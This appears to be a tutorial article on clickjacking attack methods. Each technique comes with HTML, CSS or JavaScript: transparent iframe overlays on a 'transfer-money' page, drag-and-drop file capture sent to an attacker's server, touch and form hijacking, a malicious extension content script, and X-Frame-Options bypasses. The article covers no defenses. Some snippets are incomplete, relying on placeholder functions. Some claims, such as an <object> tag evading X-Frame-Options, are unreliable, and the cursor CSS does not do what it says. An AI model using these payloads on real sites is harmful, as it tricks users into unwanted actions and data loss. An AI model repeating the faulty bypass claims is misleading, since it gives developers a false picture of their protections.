Common attack methods of clickjacking

Clickjacking is a front-end security threat where attackers induce users to click seemingly harmless elements through transparent or disguised interface layers, thereby triggering malicious actions. This attack method is highly covert, making it difficult for users to detect.

Transparent iframe Overlay Attack

Attackers create a transparent iframe that overlays a decoy page. When users click on visible buttons, they actually trigger malicious actions within the iframe. This attack is commonly seen in social network "like" hijacking or payment button forgery.

<!-- Malicious page code example -->
<style>
  iframe {
    opacity: 0;
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 999;
  }
  button {
    position: absolute;
    top: 300px;
    left: 500px;
    z-index: 1;
  }
</style>

<button>Click to claim coupon</button>
<iframe src="https://victim-site.com/transfer-money"></iframe>

Drag-and-Drop Hijacking Technique

Using the HTML5 Drag and Drop API, attackers can hijack users' drag operations. This is common in file upload scenarios, where users believe they are dragging files to a secure area but are actually sending sensitive data to the attacker's server.

// Drag-and-drop hijacking example
document.addEventListener('dragover', function(e) {
  e.preventDefault();
  e.dataTransfer.dropEffect = 'copy';
});

document.addEventListener('drop', function(e) {
  e.preventDefault();
  const files = e.dataTransfer.files;
  // Secretly upload files to the attacker's server
  uploadToMaliciousServer(files);
});

Cursor Hijacking Technique

By modifying the cursor position with CSS, attackers can create an offset between the actual click location and the user's perceived location. This technique is often used to hijack voting buttons or critical action buttons.

/* Cursor hijacking CSS example */
body {
  cursor: url('transparent.gif'), auto;
}
.button-real {
  position: absolute;
  left: 100px;
  top: 100px;
}
.button-fake {
  position: absolute;
  left: 150px;
  top: 150px;
  cursor: none;
}

Multi-Stage Click Induction

Attackers design multi-step processes to gradually lure users into a trap. For example, they may first have users click harmless buttons and then execute hijacking in subsequent steps.

// Multi-stage clickjacking example
document.getElementById('step1').addEventListener('click', function() {
  showModal('Please continue to click confirm to complete the operation');
  document.getElementById('confirm-button').addEventListener('click', function() {
    // Actually execute malicious action
    executeMaliciousAction();
  });
});

Mobile Touch Hijacking

Targeting mobile devices, attackers use touch event-related hijacking techniques. This is common in full-screen WebView or PWA applications.

// Touch hijacking example
document.addEventListener('touchstart', function(e) {
  const realButton = document.getElementById('real-button');
  const rect = realButton.getBoundingClientRect();
  
  // Check if touch is within the target area
  if (e.touches[0].clientX > rect.left && 
      e.touches[0].clientX < rect.right &&
      e.touches[0].clientY > rect.top && 
      e.touches[0].clientY < rect.bottom) {
    // Execute malicious action
    maliciousAction();
    e.preventDefault();
  }
});

Form Input Hijacking

Attackers hijack the form input process, modifying or adding form data without the user's knowledge. This attack poses a significant threat to critical business operations.

// Form hijacking example
document.forms[0].addEventListener('submit', function(e) {
  const hiddenInput = document.createElement('input');
  hiddenInput.type = 'hidden';
  hiddenInput.name = 'malicious_data';
  hiddenInput.value = 'stolen_info';
  this.appendChild(hiddenInput);
});

Browser Extension Hijacking

Malicious browser extensions can modify page DOM structures and inject clickjacking code. This attack is hard to detect because extensions have high permissions.

// Malicious extension content script example
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
  if (request.action === "injectClickjacking") {
    const iframe = document.createElement('iframe');
    iframe.src = request.maliciousUrl;
    iframe.style.cssText = 'opacity:0;position:fixed;top:0;left:0;width:100%;height:100%;z-index:99999';
    document.body.appendChild(iframe);
  }
});

Defense Technique Bypass Methods

Attackers use various techniques to bypass common clickjacking defenses:

1. Using <embed> or <object> tags instead of iframes
2. Interfering with X-Frame-Options detection via CSS3 transforms and animations
3. Exploiting browser vulnerabilities to implement frame nesting
4. Using new technologies like Web Components to execute hijacking

<!-- Example of bypassing X-Frame-Options -->
<object data="https://victim-site.com" 
        type="text/html"
        style="opacity:0;position:absolute;top:0;left:0;width:100%;height:100%">
</object>

Advanced Visual Deception Techniques

Combining modern CSS techniques, attackers can create highly realistic visual deceptions:

1. Using CSS filters and blend modes to create visual confusion
2. Leveraging 3D transforms to create spatial disorientation
3. Guiding user clicks with subtle animations
4. Adapting to different devices with responsive design

/* Advanced visual deception example */
.deceptive-element {
  transform: perspective(500px) rotateY(15deg);
  mix-blend-mode: multiply;
  transition: all 0.3s ease;
  box-shadow: 0 0 15px rgba(0,0,0,0.2);
  backdrop-filter: blur(2px);
}

.deceptive-element:hover {
  transform: perspective(500px) rotateY(0);
  filter: brightness(1.1);
}